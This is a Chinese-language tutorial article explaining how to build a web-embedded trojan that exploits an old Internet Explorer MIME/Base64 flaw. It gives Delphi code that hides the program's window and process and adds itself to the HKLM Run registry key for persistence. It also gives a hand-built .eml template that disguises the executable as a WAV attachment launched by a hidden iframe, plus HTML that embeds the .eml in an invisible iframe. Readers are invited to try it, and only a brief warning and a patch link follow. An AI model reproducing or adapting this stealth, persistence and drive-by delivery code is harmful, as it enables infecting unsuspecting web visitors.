首页  编辑  

网页嵌入式木马之我所见

Tags: /计算机文档/网络与安全/   Date Created:

标题     网页嵌入式木马之我所见    mprogramer(原作)

 

关键字     木马

 

几天前我中了一个木马,当时我很纳闷,我第一没有收过邮件,第二没有收过朋友从QQ里传来的文件,为什么我会中木马呢?于是查了一下有关资料,才发现网页也有嵌入的可能。究其原因,这是因为微软公司的在2000年发布的MIME/BASE64处理漏洞所引起的,不过这个漏洞只适用于IE5.5以下的版本的浏览器。

那么MIME是什么呢?其实MIME是Multimedia Internet Mail Extensions的缩写,是一种技术规范。而现在主要是用在扩展邮件功能上,而MIME的用处其实还不止这个,我们的B/S方式的实现其实里面就包括了MIME,它是HTTP协议的一部份。

概念我就不多说了,下面说一说这个木马的实现思路:

1、首先我们要写一个普通的木马。

2、把木马打包在*.eml文件里(打完包后不知道的人还以为是尼姆达,呵呵)。

3、把*.eml嵌入网页。

而在这里我们所要到的工具有:

1、一个普通的编程台平(如Delphi、VB、VC,而我在这里用的工具是delphi)

2、邮件编辑器(在这里我用到的是FoxMail)

3、HTML编辑工具(在这里我用到的是记事本)

好了,思路和环境我们都有了就让我们一步一步来实现这个木马吧~~~,首先我们先用Delphi做一个最基本的木马框架(在这里只建立一个框架,里面的肉你们就自己来填吧)。

1、首先我们应该在木马创建主窗口时就把其隐藏起来,大家一定会首先想到的是在form的FormCreate事件里用窗口的HIDE方法把其隐藏,那你就错了,如果像这里做程序运行时会报错,而我们应该在FormCreate事件里加入一句application.showmainform:=false;这样主窗口就在运行时得到隐藏。

2、我们应该把程序的进程所隐藏,做对方用CTRL+ALT+DEL在"关闭程序"对话框里看不到。我们就要用API函数RegisterServiceProcess来把当前进程变为一个系统服务,从而在任务列表中把程序隐藏起来,这个函数的用法为:

DWORD RegisterServiceProcess(DWORD dwProcessId,

   DWORD dwType);

不过在用之前必须从KERNEL32.DLL里重载出来。在程序里的具体用法如下:

implementation

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

 RegisterServiceProcess(GetCurrentProcessID, 1);//注册服务

end;

而GetCurrentProcessID是得本程序的程序ID,1表示为当进程注册成为系统服务。

3、把程序在下次系统起动时加载。首先我们应该在uses下加入registry单元,然后在主窗口的FormCreate事件里把本程序加入到windows注册表里的自动运行项(HKEY_LOCAL_MACHINE\\Software\MicroSoft\Windows\CurrentVersion\Run)里面。好了,我们看看具体程序怎么实现:

RegF:=TRegistry.Create;//创建Registry组件,这个组件是专门针对注册表操作的组件

RegF.RootKey :=HKEY_LOCAL_MACHINE;//把根键设为HKEY_LOCAL_MACHINE

RegF.OpenKey('Software\MicroSoft\Windows\CurrentVersion\Run',True);//打开Software\MicroSoft\Windows\CurrentVersion\Run子键

RegF.WriteString('sys',ParamStr(0));//在里面写入本程序的路径

RegF.Free;//释放Registry组件。

好了,以上我们所做成的就是一个木马的框架了,下面我们看看怎么把这个程序打包在*.eml程序里面。而这时我们要把我们的程序变成BASE64编码才能嵌入*.eml文件当中,在这里我们省点事,用foxmail搞定吧~。首先我们在foxmail里面创建一封邮件并保存。打开发件箱,你会发现这封邮件在里面。用右件单击这封邮件,在弹出菜单中单击"原始信息",再点击全部,这时你就会在filename="Project1.exe"一些"乱码",这些乱码就是变成BASE64编码的程序。

现在先把这些BASE64编码的程序放在一边,我们来看看这个特殊邮件是怎么实现的。通常我们知道一个邮件分为包头,正文,副件,包尾组成的,在这里,我会对整个过程序进行一个解析:

1、打开记事本。

2、我们来写在记事本里写入包头信息:

From: "xxxxx"//邮件来自的地址,你没有那么笨会把自己的邮件地址写在这里吧,呵呵~

Subject: mail//邮件标题。

Date: Thu, 2 Nov 2000 13:27:33 +0100//日期

MIME-Version: 1.0//MIME的版本信息

Content-Type: multipart/related;  //联接的类型。

type="multipart/alternative";

boundary="1"

X-Priority: 3//优先级

X-MSMail-Priority: Normal//微软邮件优先级

X-Unsent: 1//未寄出信息

3、写入正文内容,这一部份以HTML邮件形式写入并在正文处写入一个内嵌框架,框架打开的是嵌入附件的标识,如:

--1

Content-Type: multipart/alternative;

boundary="2"

--2

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

<HTML>

<HEAD>

</HEAD>

<BODY bgColor=3D#ffffff>

<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>//而THE-CID就是附件的标识

ok<BR>

</BODY>

</HTML>

--2--

4、写入邮件的附件部份:

--1

Content-Type: audio/x-wav;

     name="XX.exe" //此处为生成的临时文件的文件名

Content-Transfer-Encoding: base64 //编码方式

Content-ID: <THE-CID> //副件的连接ID

……… //把你刚刚用Foxmail编好的 base64编码的可执行程序拷在这里吧

5、最后写入包尾,其实包尾只有一句话,那就是:

------=_NextPart_000_0009_01C2EECC.16E8F4A0--

这样我们就完成了整个邮件包的制作,然后把其存为*.txt文件,导入foxmail里,最后把它倒出为*.eml文件。这样我们的打包过程也就结束了。双击一下我们刚生成的邮件文件,这时它会执行你刚刚所编写的木马文件~~(哈哈,害人害已敢吧~)

最后我们如果把这个文件插入网页呢?其实方法很简单,我们只需要建立一个内嵌框架把那个*.eml文件当作网页写入就可以了,我们看一下具体代码:

<html>

<body>

<iframe name="I1" src="XX.eml" width="0" height="0" marginwidth="1" marginheight="1" border="0" frameborder="0">//XX.eml就是我们刚刚导出的*.eml文件

</iframe>

</body>

</html>

好了,我们已经看清楚了这类木马的整个制作过程,试着自己也写一下,不过请不要害人呀,如果您是win98+IE5.5以下的读者请上微软的网站:http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp 去下载一个补丁装一下吧,不要向我一样的中别人的招,请也不要用此技术到处害人哦~~~